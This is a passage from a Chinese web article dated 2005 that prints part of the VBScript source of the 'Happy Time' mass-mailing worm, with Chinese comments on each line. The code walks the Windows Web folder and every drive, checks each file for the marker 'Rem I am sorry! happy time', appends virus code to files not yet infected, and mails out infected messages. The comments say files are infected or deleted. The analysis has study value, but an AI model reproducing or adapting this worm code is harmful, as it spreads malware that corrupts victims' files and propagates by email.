| |
| |
| |
| 文章出处:中国论文下载中心 发布时间:2005-11-11 |
Web = Cs & "WEB"
Set gf = Of.GetFolder(Web).Files
得到windowsweb文件夹里的文件
Od.Add "htt", "1100"
向Dictionary里添加htt项目对
For Each m In gf
遍历windowsweb下的每一个文件
fext = GetExt(Of, Od, m)
得到每个文件的扩展名
If fext <> "" Then
如果扩展名不为空,则
Fw Of, m, fext
End If
Next
End If
End Sub
******************************************************************
Sub mclose()
document.Write "<" & "title>I am sorry!写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
******************************************************************
Sub Fw(Of, S, n)
此时S为文件名,n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
只读模式打开该文件
mt = fc.ReadAll
读入全部文件流
fc.Close
关闭文件
If Not Sc(mt) Then
如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
打开文件并在文件末尾进行写爱作
fc2.Write mt
fc2.Close
Msend (mmail)
发带毒邮件
End If
End Sub
******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
如果读入的文件流中有Rem I am sorry! happy time
Sc = True
Else
Sc = False
表示已感染过,返回True,否则为False
End If
End Function
******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
初始化变量
If Of.FileExists(S) Then
如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
得到文件的父目录名
fname = S
得到文件名
ElseIf Of.FolderExists(S) Then
不存在于当前文件夹中,则得到目录名
fpath = S
T = True
Else
fpath = Dnext(Of, "")
得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
得到当前目录下的所有文件对象
For Each m In gf
遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then
如果该文件是文件集合中的一员
FNext = m
则返回该文件名,供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
******************************************************************
Function Pnext(Of, S)
On Error Resume Next
|
|
| [返回顶部↑]
|
|
|
| |
|
|
|
|
| |
|